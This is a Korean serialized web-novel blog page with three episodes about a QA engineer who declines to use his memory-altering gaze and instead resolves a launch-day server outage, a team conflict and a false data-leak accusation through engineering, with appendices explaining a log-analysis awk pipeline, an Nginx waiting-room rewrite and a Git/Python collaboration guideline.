728x90

이전 이야기 : https://thepin.tistory.com/210

제9화. 붕괴의 시련

D-Day.

6개월을 매달린 ‘넥솔브 차세대 커머스 플랫폼’ 오픈 날. 상황실의 공기는 팽팽하게 당겨진 활시위 같았다. 에어컨이 돌아가고 있었지만, 사람들의 이마에는 송골송골 땀이 맺혀 있었다.

“오픈 10분 경과. 현재 동시 접속자 30만 명. 특이사항 없습니다.”

모니터링 담당자의 보고에 상황실 곳곳에서 안도의 한숨이 새어 나왔다. 박성우 팀장도 그제야 굳어있던 어깨를 펴며 식은 커피를 한 모금 들이켰다. 나 역시 모니터링 대시보드의 초록색 불빛들을 보며 마른침을 삼켰다.

이대로만 가라. 제발.

하지만 신은 우리의 기도를 들어주지 않았다.

삐이익—!

날카로운 경고음이 고막을 찢고 들어왔다. 평화롭던 대형 모니터의 초록색 그래프들이 일제히 핏빛으로 물들었다. 완만하던 트래픽 곡선이 비명처럼 수직으로 치솟더니, 이내 바닥으로 곤두박질쳤다.

“뭐야? 무슨 일이야!”

“서… 서버 응답이 없습니다! 504 Gateway Time-out 에러가 폭주합니다!”

“DB CPU 100% 찍었습니다! 커넥션 풀(Connection Pool)이 꽉 찼어요! 쿼리가 전혀 안 먹힙니다!”

상황실은 순식간에 아비규환의 지옥으로 변했다. 키보드를 부서져라 두드리는 소리, 의미 없는 고함, 누군가의 절망적인 탄식이 뒤섞였다. 서버가 죽었다. 6개월의 피땀 어린 노력이 단 1분 만에 재가 되어 흩어지고 있었다.

“롤백해! 당장 이전 버전으로 돌려!”

박 팀장이 핏대를 세우며 소리쳤지만, 배포 담당자의 얼굴은 이미 하얗게 질려 있었다. 그는 덜덜 떨리는 손으로 마우스를 잡고 있었지만, 커서는 허공을 맴돌 뿐이었다.

“그게… DB 스키마가 변경돼서 롤백하려면 데이터 마이그레이션을 다시 해야 합니다. 최소 2시간은 걸립니다….”

“2시간?”

박 팀장의 목소리가 갈라졌다. 그는 다리에 힘이 풀린 듯 의자에 주저앉으며 머리를 감싸 쥐었다.

“망했군….”

그의 중얼거림이 상황실의 소음을 잠재웠다. 그것은 항복 선언이었다. 팀원들의 눈동자에는 공포가 서려 있었다. 프로젝트의 실패, 쏟아질 고객의 비난, 회사의 문책, 그리고 잘려 나갈 자신의 미래. 그 무거운 절망감이 납덩이처럼 어깨를 짓눌러, 누구도 감히 손을 쓰지 못하고 있었다.

그 순간, 내 머릿속에서 잊고 싶었던 기억 하나가 섬광처럼 스쳐 지나갔다.

3년 전, 인턴으로 일했던 스타트업 ‘데이터웨이브’.
그때도 똑같았다. 붉은색 경고등, 멈춰버린 화면, 그리고 대표님의 울음 섞인 고함. 나는 구석에 서서 아무것도 할 수 없었다. 내 눈으로 사람들의 기억을 지워 공포를 없앨 순 있었지만, 죽어버린 서버를 살릴 순 없었다.

하지만 이상했다.
으레 이쯤 되면 울려야 할 임원실의 독촉 전화가 없었다. 상황실 문을 박차고 들어와 고함을 지르는 사람도 없었다.

대신, 대형 모니터 구석의 사내 메신저 알림창이 반짝였다.

[CS 운영팀장]: "고객 항의는 저희가 온몸으로 막고 있습니다. 욕받이는 우리가 할 테니, 개발팀은 복구에만 집중해주세요. 믿습니다."
[사업본부장]: "지금 가장 힘든 건 자네들일 걸 압니다. 위에서 쪼는 건 내가 다 커버할 테니, 당황하지 말고 해결해주세요."

가슴 한구석이 묵직해졌다. 이곳은 달랐다.
사람을 부품으로 보지 않고, 위기 앞에서 서로를 지켜주는 회사.

결국 망해버린 전 회사. 짐을 싸서 나오던 날, 텅 빈 사무실의 서늘한 공기가 아직도 생생하다.

‘그 무력감. 다시는 겪고 싶지 않아.’

그때, 내가 자리에서 일어났다.

‘눈을 쓸까?’

유혹이 뱀처럼 스멀거렸다. 아주 쉬운 길이었다.
지금 당장 박 팀장의 눈을 보고 ‘서버는 곧 복구된다’는 확신을 심어주면 된다. 배포 담당자에게는 ‘네 잘못이 아니다’라는 기억을, 임원들에게는 ‘이건 천재지변이었다’는 인식을 심으면 그만이다.

내 능력이라면 이 아비규환을 1초 만에 고요한 천국으로 바꿀 수 있다. 공포에 질린 저 눈동자들을 평온하게 만들 수 있다. 심장이 쿵쿵 뛰었다. 보라색 광채가 시신경을 타고 올라오려 했다.

하지만.

‘그건 마약이야.’

사람들의 기억을 조작한다고 해서 죽어버린 서버가 살아나지는 않는다. 3년 전 그때처럼, 가짜 평온함 뒤에는 결국 파국만이 남을 뿐이다. 504 에러는 거짓말을 하지 않는다. 내가 능력을 써서 만든 평화는, 결국 서버가 완전히 셧다운되는 순간 더 끔찍한 비극으로 돌아올 것이다.

‘나는 마법사가 아니야. 나는 엔지니어다.’

현실을 외면하게 만드는 건 구원이 아니라 기만이다. 지금 필요한 건 사람을 홀리는 보라색 눈빛이 아니라, 팩트를 꿰뚫어 보는 차가운 이성이다.

나는 메인 터미널 앞으로 걸어갔다.

“제가 로그 보겠습니다.”

“이한결 대리? 지금 개발팀도 원인을 못 찾고 있는데 자네가 뭘… 비켜! 방해하지 말고!”

박 팀장이 신경질적으로 소리쳤다. 하지만 나는 물러서지 않았다. 나는 대답 대신 개발팀장이 앉아 있던 메인 콘솔의 키보드에 손을 올렸다.

모두의 시선이 내 등 뒤에 칼날처럼 박혔다. ‘네가 뭔데’, ‘QA 주제에 뭘 안다고’ 하는 불신과 짜증이 섞인 시선들. 하지만 그 시선들이 오히려 나를 차분하게 만들었다.

손끝이 차갑게 식었지만, 머릿속은 오히려 얼음처럼 투명하고 명료해졌다. 세상의 소음이 차단되고, 오직 모니터 속의 검은 화면과 나만이 남았다. 나는 눈을 가늘게 떴다. 이번엔 기억을 조작하기 위해서가 아니라, 데이터의 흐름을 읽기 위해서였다.

‘서버가 멈춘 게 아니야. 어딘가 꽉 막혀 있는 거야.’

나는 먼저 웹 서버(Nginx)의 상태부터 확인했다.

top

CPU 사용량은 높지 않았다. 하지만 Load Average가 비정상적으로 높았다. 무언가 처리를 기다리는 프로세스가 쌓여 있다는 뜻이다.

‘네트워크가 막혔나?’

netstat -n | grep :80 | wc -l

 

 

25,400

 

접속 대기 중인 연결이 2만 개가 넘었다. 일반적인 트래픽 증가가 아니었다. 특정 구간에서 병목이 발생해 모든 요청이 줄을 서고 있는 것이다.

“어떤 요청이 문제인지 찾겠습니다.”

나는 실시간 접근 로그를 열었다. 수천 줄씩 올라가는 로그 속에서 패턴을 찾아야 했다.

tail -f /var/log/nginx/access.log

눈으로 쫓기엔 너무 빨랐다. 나는 awk 명령어를 조합해 가장 많이 요청된 URL을 추출했다.

cat /var/log/nginx/access.log | grep "504" | awk '{print $7}' | sort | uniq -c | sort -rn | head -n 5

결과가 모니터에 떴다.

 

15,200 /api/event/coupon/claim

 

“찾았습니다. 쿠폰 발급 API입니다.”

범인은 오픈 기념 쿠폰 발급 요청이었다. 하지만 단순히 사람이 몰린 게 아니었다.

“로그를 보세요. 동일한 IP에서 1초에 수십 번씩 요청이 들어오고 있습니다. 클라이언트 앱에서 타임아웃이 나면 즉시 재시도(Retry)를 하도록 로직이 잘못 짜인 것 같습니다. 실패한 요청이 다시 요청을 부르고, 그게 눈덩이처럼 불어나서 서버를 마비시킨 겁니다.”

“그… 그럼 어떻게 해야 하나?”

박 팀장이 떨리는 목소리로 물었다. 그의 눈빛이 흔들리고 있었다. 나를 향한 불신은 사라지고, 지푸라기라도 잡고 싶은 간절함만이 남아 있었다.

“웹이라면 재배포로 해결되겠지만, 앱은 스토어 심사를 거쳐야 해서 수정 배포에 며칠이 걸립니다. 클라이언트를 고칠 수 없으니 서버단에서 막아야 합니다.”

주변 개발자들이 머리를 감싸 쥐며 탄식했다.

“아, 맞다… 앱 심사! 젠장, 핫픽스 올려도 심사 통과될 때까지는 꼼짝없이 죽어있어야 하잖아!”

박 팀장의 입이 벌어졌다. ‘아차’ 하는 표정이었다. 서버 개발만 생각하느라, 사용자 손에 들린 앱(App)의 배포 특성을 깜빡하고 있었던 것이다. 자신의 무지에 대한 부끄러움과, QA인 내가 그 맹점을 꿰뚫어 보았다는 놀라움이 교차했다.

“막는다고? 고객들은 어쩌고!”

“차단이 아닙니다. 대기열을 만들어 우회시키겠습니다. 지금 들어오는 요청을 가벼운 정적 페이지(Static Page)로 돌려서, DB 부하를 없애고 고객들을 진정시켜야 합니다.”

옆에 있던 개발팀장이 반박했다.

“말이 되는 소리를 해! 대기열 시스템 개발에만 꼬박 일주일이 걸려. 당장 서버가 죽어가는데 소설 쓰고 있어?”

“팀장님.”

나는 그를 똑바로 바라보며 말했다.

“개발할 필요 없습니다. Nginx 설정만으로 트래픽을 정적 안내 페이지로 돌리면 그게 바로 대기실이 됩니다. 모든 고객이 사이트에 접속조차 못 하는 최악의 상황은 막아야 합니다. 핵심 기능인 주문이라도 살려야죠.”

내 목소리에는 흔들림이 없었다. 그것은 초능력자의 오만이 아니었다. 기술적인 확신과, 이 재난 상황을 책임지겠다는 인간 이한결의 결단이었다. 상황실의 모든 시선이 나에게 쏠렸다. 그들의 눈빛이 의심에서 기대로 바뀌는 찰나의 순간을, 나는 놓치지 않았다.

나는 망설임 없이 vi 에디터로 Nginx 설정 파일을 열었다.

“쿠폰 발급 API 요청을 대기 안내 페이지로 리다이렉트하겠습니다.”

location /api/event/coupon/claim {
    # 트래픽을 가벼운 정적 대기 페이지로 우회 (DB 접속 차단)
    rewrite ^ /static/waiting_room.html break;
}

설정을 저장하고 Nginx를 재시작했다.

service nginx reload

엔터키를 누르는 순간, 거짓말처럼 상황실의 경고음이 멈췄다.

치솟았던 로드(Load) 수치가 떨어지고, 빨간색이었던 대시보드 등들이 하나둘 초록색으로 돌아왔다. 쇼핑몰 메인 페이지가 다시 뜨기 시작했다.

“사… 살았다.”

누군가 탄성을 내뱉었다. 정적 뒤에 환호성이 터져 나왔다. 박 팀장이 나를 와락 끌어안았다.

“이한결! 네가 살렸어! 와, 진짜… 너 정체가 뭐야?”

나는 얼떨떨한 표정으로 모니터를 바라보았다. 화면에 비친 내 눈은 지쳐 있었지만, 그 어느 때보다 선명하게 빛나고 있었다.
보라색 광채는 없었다. 그저 밤새 모니터를 보느라 충혈된, 하지만 승리감에 젖은 평범한 갈색 눈동자뿐이었다.

초능력은 쓰지 않았다. 사람의 뇌를 조작하는 쉬운 길을 버리고, 0과 1의 세계에서 정면으로 부딪쳤다. 내가 쓴 건 단지 몇 줄의 설정 코드와, 포기하지 않고 원인을 파고든 집요함뿐이었다.

하지만 그 순간, 팀원들이 나를 바라보는 눈빛은 내가 초능력을 써서 억지로 심어놓은 가짜 존경과는 비교도 할 수 없었다.
그것은 진짜였다.
나라는 인간이, 오롯이 내 힘으로 쟁취해낸 ‘진짜 신뢰’였다.

 

 

 


다음 이야기 : https://thepin.tistory.com/212

 

소설001: 내 눈을 보면 안 돼 - 제10화. 눈빛의 끝, 사람의 시작

제10화. 눈빛의 끝, 사람의 시작계절이 두 번 바뀌었다.그날의 ‘30만 접속 대란’은 넥솔브 개발팀의 전설이 되었다. 우리는 그 위기를 넘긴 후에도 수많은 버그와 싸웠고, 크고 작은 장애를 겪

thepin.tistory.com

 

 

 

 

 

 

[부록 1] 한결이 사용한 'awk' 명령어, 쉽게 파헤쳐보기

장애 상황에서 한결은 다음 명령어를 사용해 가장 많이 요청된 URL을 찾아냈습니다.

tail -n 10000 /var/log/nginx/access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head -n 5

이 명령어는 여러 작은 명령어들을 파이프(|)로 연결해서 만든 '로그 분석 파이프라인'입니다. 각 부분의 역할을 쉽게 설명해 드릴게요.

tail -n 10000 /var/log/nginx/access.log:

  • /var/log/nginx/access.log 파일의 마지막 10,000줄을 읽어옵니다. (최근 로그만 보겠다는 뜻)

awk '{print $7}':

  • awk는 텍스트 파일에서 특정 패턴을 찾고, 원하는 방식으로 출력하는 명령어입니다.
  • '{print $7}'각 줄에서 7번째 항목(필드)만 출력하라는 뜻입니다. Nginx access log에서 7번째 필드는 요청한 URL입니다.

sort:

  • 앞 단계에서 추출한 URL 목록을 알파벳 순서로 정렬합니다.

uniq -c:

  • 정렬된 목록에서 각 URL이 몇 번 등장했는지 세어서 보여줍니다. (중복된 줄을 합쳐서 개수를 표시)

sort -rn:

  • uniq -c의 결과를 숫자(빈도수)를 기준으로 내림차순 정렬합니다. (-r: reverse, -n: numeric)

head -n 5:

  • 정렬된 결과에서 가장 많이 등장한 상위 5개 URL만 보여줍니다.

이 모든 과정을 거치면, 로그 파일에서 "가장 많이 호출된 URL" 순서대로 결과를 얻을 수 있습니다. 한결은 이 결과를 보고 쿠폰 발급 API가 문제의 원인임을 알아낸 것이죠.


[부록 2] 실제 장애 대응 관점에서 본 한결의 조치

소설 속 한결이 내린 "쿠폰 API만 503 에러로 차단"하는 결정은, 실제 대규모 서비스 장애 상황에서 SRE(Site Reliability Engineering, 사이트 신뢰성 엔지니어링)가 선택하는 매우 현실적이고 현명한 응급조치입니다.

1. 피해 범위 최소화 (Blast Radius Reduction)

가장 중요한 원칙입니다. 당시 상황은 쿠폰 API 하나 때문에 쇼핑몰 전체가 마비된 상태였습니다.

  • 조치 전: 고객은 상품 조회, 장바구니, 주문 등 아무것도 할 수 없습니다. 사이트 자체가 열리지 않으므로 100%의 고객이 100%의 불만을 겪습니다.
  • 조치 후: 쿠폰 기능을 제외한 모든 핵심 기능(상품 조회, 주문, 결제)이 정상화됩니다. 이제 불편을 겪는 고객은 '전체 30만 명'이 아니라 '주문 직전 쿠폰을 적용하려던 일부 고객'으로 한정됩니다.

전체 시스템이 침몰하는 상황에서, 배의 가장 큰 구멍 하나를 급히 막아 침몰을 막고 나머지 승객이라도 살리는 것과 같은 원리입니다.

2. 핵심 기능 우선 복구 (Core Functionality First)

커머스 플랫폼의 가장 핵심적인 비즈니스 가치는 '주문과 결제'입니다. 쿠폰은 부가적인 마케팅 기능입니다.

한결이는 장애 대응의 제1원칙인 '핵심 기능부터 살린다'를 정확히 실행했습니다. 쿠폰을 못 써서 짜증이 나는 고객보다, 아예 주문 자체를 못 해서 떠나가는 고객이 비즈니스에 훨씬 치명적입니다. 한결이는 그 우선순위를 명확히 판단한 것입니다.

3. 시간 확보 (Buying Time)

서버단에서 특정 API를 차단하는 것은 Nginx 설정 변경만으로 수십 초 내에 가능합니다. 하지만 근본 원인인 '클라이언트 앱의 잘못된 재시도 로직'을 수정하려면 다음과 같은 복잡한 과정이 필요합니다.

  1. 앱 코드 수정
  2. QA 테스트
  3. 앱 스토어(구글/애플) 심사 요청 (수 시간 ~ 수 일 소요)
  4. 고객들이 앱을 업데이트하도록 유도

이 모든 과정에는 최소 몇 시간 이상이 걸립니다. 그 시간 동안 사이트 전체를 마비 상태로 둘 수는 없습니다. 한결이의 조치는 일단 급한 불을 꺼서, 근본 원인을 해결할 수 있는 귀중한 시간을 벌어준 것입니다.

요약하자면, 한결이의 조치는 완벽한 해결책이 아닌, 최악의 상황을 막기 위한 가장 빠르고 효과적인 응급조치(First Aid)이자 차선책(Trade-off)입니다. 이런 냉철한 판단력과 실행력이 바로 9화에서 한결이가 리더로서 팀원들에게 '진짜 신뢰'를 얻게 되는 결정적인 계기가 됩니다.


[부록 3] 한결이 구현한 초간단 대기열 시스템 예시

한결은 복잡한 개발 없이 Nginx 설정만으로 트래픽을 우회시켰습니다. 그 원리를 코드로 보면 다음과 같습니다.

1. Nginx 설정 (nginx.conf)

server {
    listen 80;
    server_name api.nexolve.com;

    # 쿠폰 발급 API 요청이 들어오면
    location /api/event/coupon/claim {
        # DB를 타지 않는 가벼운 안내 페이지로 강제 이동 (302 Redirect)
        rewrite ^ /static/waiting_room.html break;
    }
}

2. 대기 안내 페이지 (waiting_room.html)

<!DOCTYPE html>
<html>
  <body>
    <h1>현재 접속자가 많아 대기 중입니다.</h1>
    <p>잠시 후 다시 시도해주세요. (현재 주문 기능은 정상 이용 가능합니다.)</p>
    <script>
      // 10초마다 자동으로 새로고침하여 접속 시도
      setTimeout(function () {
        location.reload();
      }, 10000);
    </script>
  </body>
</html>
728x90
반응형
728x90

이전 이야기 : https://thepin.tistory.com/209

제8화. 리더의 눈빛

“이번 QA 자동화 TF(Task Force), 이한결 대리가 리딩해봐.”

박성우 팀장의 파격적인 제안이었다. 입사 1년 차, 그것도 온갖 구설수에 올랐던 내가 프로젝트 리더(PL)라니. 하지만 박 팀장의 눈빛은 단호했다.

“기술적인 실력은 이미 증명했고, 무엇보다… 저번 보안 사건 때 보니까 멘탈이 좋더구만. 팀원들 잘 이끌어봐.”

그렇게 나는 4명으로 구성된 TF팀을 맡게 되었다. 윤서아 대리, 최진호 주임, 그리고 신입 사원 두 명.

하지만 시작부터 삐걱거렸다.

“아니, 이걸 언제 다 짭니까? 기존 업무도 바빠 죽겠는데.”

최 주임은 대놓고 불만을 터뜨렸다. 신입들은 눈치만 보고 있었고, 윤 대리조차 지친 기색이 역력했다. 마감 기한은 2주. 수천 개의 테스트 케이스를 자동화 코드로 변환해야 하는 강행군이었다.

일주일이 지나자 팀은 한계에 다다랐다.

새벽 1시. 사무실 공기는 무겁게 가라앉아 있었다.

“아, 진짜! 미치겠네!”

최 주임이 키보드를 거칠게 내려쳤다. 그의 외침에 모두의 시선이 쏠렸다.

“누가 develop 브랜치에 강제 푸시(Force Push)했어! 윤 대리님이 오후 내내 작업한 거 다 날아갔잖아!”

범인은 겁에 질린 신입 사원이었다. 그는 울먹이며 고개를 숙였다.

“죄… 죄송합니다. 제가 브랜치를 헷갈려서….”

“죄송하면 다야? 지금 네가 덮어쓴 코드 복구하려면 몇 시간 걸리는 줄 알아? 리더라는 놈은 뭐하고 있었는데!”

날카로운 화살이 나에게 날아와 박혔다. 고성이 오갔다. 윤 대리가 지친 얼굴로 중재하려 했지만 역부족이었다. 팀원들의 눈에는 짜증과 피로, 그리고 서로에 대한 불신이 가득했다. 팀은 와해 직전이었다.

나는 자리에서 일어나 그 광경을 지켜보았다.

‘멈춰야 해. 이대로 두면 전부 무너진다.’

익숙한 유혹이 뱀의 혀처럼 나를 유혹했다. 내 능력을 쓰면 된다. 최 주임의 분노를 잠재우고, 신입 사원의 공포를 지워줄 수 있다. ‘우리는 할 수 있다’는 거짓된 희망을 강제로 주입할 수도 있다. 그러면 이 지옥 같은 소란은 1분 안에 정리된다.

내 눈동자가 보라색으로 일렁이려 했다.

하지만 나는 주먹을 꽉 쥐고 눈을 감았다.

‘아니야. 그건 가짜 평화야. 마약성 진통제일 뿐이야.’

기억을 조작해서 만든 팀워크는, 진짜 위기 앞에서는 모래성처럼 무너질 것이다. 나는 더 이상 괴물이 되고 싶지 않았다. 나는 능력이 아닌, 리더로서 이 상황을 해결해야 했다.

“잠깐 주목해주세요.”

나의 차분한 목소리가 소음을 갈랐다. 날 선 시선들이 나에게 꽂혔다. 최 주임은 ‘네가 뭘 할 수 있는데’라는 표정으로 나를 노려봤다.

나는 화이트보드 앞으로 걸어갔다. 그리고 마커를 들었다.

“지금 우리에게 필요한 건 서로를 탓할 시간이 아니라, 다시는 이런 일이 생기지 않게 할 ‘시스템’입니다.”

나는 미리 준비해둔 문서를 화면에 띄웠다.

“우리가 힘든 건 실력이 없어서가 아닙니다. ‘규칙’이 없어서입니다. 서로 다른 스타일로 코드를 짜고, 중구난방으로 합치니까 충돌이 나는 겁니다.”

화면에 [QA Automation Guideline]이라는 제목이 떴다.

“앞으로 남은 일주일, 이 가이드라인대로만 움직입니다. 브랜치 전략, 코드 스타일, 커밋 메시지까지 제가 다 정해뒀습니다. 고민하지 말고, 이대로만 하세요. 모든 책임은 제가 집니다. 코드 리뷰도 제가 가장 먼저, 가장 마지막까지 보겠습니다. 여러분은 이 규칙 안에서 마음껏 실력을 발휘해주세요. 실수는 제가 다 막겠습니다.”

팀원들이 웅성거렸다. 나는 한 명 한 명 눈을 맞췄다.

최 주임과 눈이 마주쳤다. 그는 흠칫하며 시선을 피하려 했다. 과거의 기억, 나를 향한 두려움이 남아있는 탓이었다.

하지만 나는 피하지 않았다. 그렇다고 능력을 쓰지도 않았다. 그저 담담하게, 그리고 간절하게 그를 바라보았다.

‘도와주세요, 선배님. 저 혼자서는 못합니다. 선배님의 경험이 필요합니다.’

내 눈빛에 담긴 건 조작된 명령이 아니라, 잠도 못 자고 지쳐버린 리더의 투박한 진심이었다.

최 주임의 눈동자가 흔들렸다. 그는 내 눈에서 보라색 광채를 찾으려는 듯 빤히 보다가, 이내 헛기침을 하며 시선을 돌렸다.

“…지키지도 못할 규칙 만들어서 일만 두 배로 만드는 거 아니야?”

그의 목소리는 여전히 퉁명스러웠지만, 날카로운 가시는 빠져 있었다. 비난이 아닌 질문이었다.

“제가 지키게 만들겠습니다.”

“윤 대리님, 신입분들도. 저 믿고 딱 일주일만 더 고생해봅시다. 제가 제일 늦게 퇴근하고, 제일 먼저 출근해서 코드 리뷰 다 하겠습니다.”

나의 말에 윤 대리가 피식 웃었다.

“리더가 그렇게 말하는데, 따라야죠.”

공기의 흐름이 바뀌었다. 강제로 주입된 평화가 아니었다. 서로의 피로를 이해하고, 시스템을 통해 문제를 해결하려는 의지가 만들어낸 진짜 팀워크의 시작이었다.

그날 이후, 우리 팀은 달라졌다. 가이드라인 덕분에 불필요한 충돌이 사라졌고, 업무 속도가 붙었다.

일주일 뒤, 우리는 기한 내에 자동화 프로젝트를 성공적으로 완수했다.

회식이 끝난 밤, 최 주임이 내 어깨를 툭 치며 말했다.

“야, 이한결. 너… 독한 놈인 줄만 알았는데, 진짜 리더가 다 됐네. 인정한다.”

그는 어색하게 헛기침을 하더니 덧붙였다.

“아까 네가 리뷰해준 코드, 덕분에 버그 하나 잡았다. 고맙다.”

나는 밤하늘을 올려다보며 웃었다.

능력을 쓰지 않아도, 사람의 마음은 움직일 수 있다.
아니, 능력을 쓰지 않았기에 비로소 닿을 수 있었다.

그것이 내가 리더가 되어 배운 첫 번째 교훈이었다.

 


다음 이야기 : https://thepin.tistory.com/211

 

소설001: 내 눈을 보면 안 돼 - 제9화. 붕괴의 시련

제9화. 붕괴의 시련D-Day.6개월을 매달린 ‘넥솔브 차세대 커머스 플랫폼’ 오픈 날. 상황실의 공기는 팽팽하게 당겨진 활시위 같았다. 에어컨이 돌아가고 있었지만, 사람들의 이마에는 송골송골

thepin.tistory.com

 

[부록] 한결이 공유한 QA 자동화 가이드라인 (QA_Automation_Guideline.md)

# QA Automation Collaboration Guideline

## 1. Git Branch Strategy (브랜치 전략)

우리는 **Git-flow** 전략을 간소화하여 사용합니다.

- **main**: 배포 가능한 안정적인 상태 (Production Ready).
- **develop**: 개발 중인 코드가 통합되는 브랜치. 모든 PR(Pull Request)의 목적지.
- **feature/기능명**: 개별 기능 개발 브랜치. (예: `feature/login-test`, `feature/payment-module`)
  - 작업 완료 후 `develop` 브랜치로 PR 생성.
  - 본인 로컬에서 테스트 통과 후 Push 할 것.

## 2. Python Code Convention (코드 컨벤션)

가독성을 위해 통일된 스타일을 유지합니다.

- **Formatter**: `Black` 사용 (Line length: 88).
- **Naming**:
  - 변수/함수명: `snake_case` (예: `get_user_data()`)
  - 클래스명: `CamelCase` (예: `LoginPage`)
- **Docstring**: 모든 함수에는 기능을 설명하는 주석을 포함할 것.

## 3. Test Case Structure (테스트 구조)

유지보수를 위해 **POM (Page Object Model)** 패턴을 준수합니다.

- **pages/**: 웹 페이지별 요소(Locator)와 행위(Method)를 정의.
- **tests/**: 실제 테스트 시나리오. 로직 없이 `pages`의 메서드만 호출하여 구성.
- **utils/**: 공통 유틸리티 (드라이버 설정, 데이터 로더 등).

## 4. Commit Message Rule

- `[Type] Description` 형식을 따릅니다.
  - `[Feat]` 새로운 기능 추가
  - `[Fix]` 버그 수정
  - `[Refactor]` 코드 리팩토링 (기능 변화 없음)
  - 예시: `[Feat] 로그인 페이지 자동화 스크립트 추가`
728x90
반응형
728x90

이전 이야기 : https://thepin.tistory.com/208

제7화. 오해의 대가

“이한결 씨, 지금 당장 보안팀으로 오세요.”

내선 전화기 너머로 들려오는 보안팀장의 목소리는 얼음장처럼 차가웠다. 사무실의 모든 시선이 나에게 꽂혔다. 나는 마른침을 삼키며 자리에서 일어났다.

보안팀 조사실은 창문 하나 없는 밀실이었다. 책상 위에는 내 노트북이 덩그러니 놓여 있었고, 보안팀장과 박성우 팀장, 그리고 감사팀 직원이 나를 기다리고 있었다.

“본론부터 말하죠. 어제 새벽 3시, 우리 회사 고객 데이터베이스(DB)에서 VIP 회원 정보 5만 건이 외부로 유출됐습니다.”

보안팀장이 모니터를 돌려 로그 화면을 보여주었다.

[ACCESS LOG] User: hk_lee (Lee Han-gyul) / Time: 03:14:22 / Action: EXPORT DATA

내 아이디였다.

“이한결 씨. 파이썬으로 자동화 스크립트 잘 짠다고 소문났더군요. 그 실력으로 이런 짓을 벌인 겁니까?”

감사팀 직원이 비아냥거렸다.

“아닙니다. 저는 어제 10시에 퇴근했습니다. 집에 가서 바로 잤고요.”

“로그는 거짓말을 안 합니다. 당신 PC에서, 당신 아이디로 접속해서 데이터를 빼갔어요. 게다가 요즘 회사에 불만이 많다는 소문도 있던데. 동료들한테 위협적인 행동을 했다면서요?”

최 주임과의 사건, 그리고 나를 둘러싼 ‘기분 나쁜 눈빛’에 대한 소문. 그것들이 이제는 나를 범죄자로 모는 증거가 되고 있었다.

“팀장님, 저 아닙니다. 믿어주세요.”

나는 박 팀장을 바라봤다. 하지만 박 팀장조차 곤혹스러운 표정으로 시선을 피했다.

“한결 씨… 정황이 너무 확실해. 일단 조사 끝날 때까지 대기해.”

가슴이 답답해졌다. 억울함이 식도를 타고 넘어와 입안을 쓰게 만들었다. 내가 하지 않았다는 사실은 중요하지 않았다. 그들에게 필요한 건 범인, 그리고 희생양이었다.

‘눈을 쓸까?’

유혹이 뱀처럼 스멀거렸다. 아주 쉬운 길이었다. 지금 이 방에 있는 세 사람의 눈을 차례로 마주치고, ‘나는 범인이 아니다’라는 확신을 심어주면 된다. 아니, 차라리 저 비아냥거리는 감사팀 직원이 스스로 범인이라고 자백하게 만들 수도 있다. 그러면 이 지옥 같은 상황은 5분 안에 끝난다.

나는 고개를 들어 보안팀장의 눈을 보았다. 내 눈동자 깊은 곳에서 익숙하고도 위험한 보라색 빛이 꿈틀거렸다. 시신경이 뜨거워졌다.

하지만 그 순간, 내 머릿속을 스치는 기억이 있었다. 모니터 아래 붙여두었던 낡은 포스트잇.

[FACT & LOGIC]

감정을 섞지 않는다. 오직 데이터와 논리로만 말한다.

나는 주먹을 꽉 쥐었다. 손톱이 살을 파고드는 고통이 나를 현실로 붙잡았다.

‘아니야. 여기서 능력을 쓰면, 나는 영원히 괴물이 되는 거야. 껍데기뿐인 결백은 필요 없어.’

나는 눈을 감았다 떴다. 보라색 잔상을 지워내고, 차가운 이성을 채워 넣었다.

“제 노트북, 제가 직접 조사하게 해주십시오.”

“뭐라고요? 증거 인멸이라도 하려고?”

“화면 미러링해서 다 보여드리겠습니다. 제가 짠 코드가 아니라면, 분명 다른 흔적이 있을 겁니다. 로그는 거짓말을 안 한다고 하셨죠? 그 로그, 제가 끝까지 파보겠습니다.”

내 목소리에는 물러설 수 없는 결기가 서려 있었다. 박 팀장이 나를 빤히 쳐다보더니, 보안팀장에게 고개를 끄덕였다.

“한번 기회 줍시다. 어차피 네트워크 차단돼 있어서 데이터 못 빼돌립니다.”

나는 떨리는 손으로 키보드 위에 손을 올렸다. 차가운 플라스틱 감촉이 손끝에 닿자, 두려움 대신 기묘한 집중력이 차올랐다. 터미널 창의 검은 화면은 나에게 익숙한 전장이었다.

‘범인은 내 PC를 경유했어. 흔적을 지웠다고 생각하겠지만, 로그는 거짓말을 하지 않아.’

나는 사냥꾼이 되어 0과 1의 숲을 뒤지기 시작했다. 시스템 접속 로그, 프로세스 목록, 네트워크 연결 상태... 수천 줄의 텍스트가 폭포수처럼 쏟아져 내렸다.

‘백도어(Backdoor). 분명 어딘가에 숨구멍을 뚫어놨을 거야.’

나는 먼저 현재 활성화된 네트워크 연결 상태를 확인했다.

netstat -antp | grep ESTABLISHED

눈이 빠르게 화면을 훑었다. 0과 1의 바다. 그 속에서 이질적인 패턴을 찾아야 했다.

“찾았다.”

30분 뒤, 나는 숨겨진 프로세스 하나를 발견했다. system_update.py라는 이름으로 위장하고 있었지만, 실행 경로는 임시 폴더(/tmp)였다.

“이거 보세요. 어제 오후 6시, 사내 메일로 온 ‘보안 업데이트 안내’ 첨부파일이 실행된 기록입니다. 이 파일이 실행되면서 제 PC에 원격 제어 포트를 열었습니다.”

나는 해당 파일의 소스 코드를 열어 역추적했다. 코드는 조잡했다. 그리고 결정적으로, 데이터를 전송한 목적지 IP가 찍혀 있었다.

“192.168.0.15… 이거 사내 IP 아닙니까?”

보안팀장의 얼굴이 사색이 되었다. 그는 급히 IP 대역을 조회했다.

“이거… 마케팅팀 공용 PC인데?”

진범은 외부에 있지 않았다. 내부의 누군가가 마케팅팀 PC를 이용해 내 컴퓨터를 해킹하고, 나에게 죄를 뒤집어씌운 것이다.

“제 알리바이는 증명됐습니다. 저는 해킹의 피해자이지, 가해자가 아닙니다.”

나는 키보드에서 손을 떼며 말했다. 등 뒤가 식은땀으로 젖어 있었다.

조사실에 침묵이 흘렀다. 감사팀 직원은 헛기침하며 시선을 돌렸고, 보안팀장은 당황해서 어쩔 줄 몰라 했다.

“미안하네, 한결 씨. 우리가 오해했어.”

박 팀장이 다가와 내 어깨를 잡았다. 그의 손은 따뜻했다. 그리고 이번에는, 그가 내 눈을 똑바로 바라보았다.

“자네 눈빛… 아까 보니까 진짜더구만. 거짓말하는 사람 눈이 아니었어.”

그 말에 나는 울컥 눈물이 쏟아질 뻔했다.

능력을 쓰지 않았다. 기억을 조작하지 않았다.
오직 팩트와 논리, 그리고 진심으로 부딪쳤다.

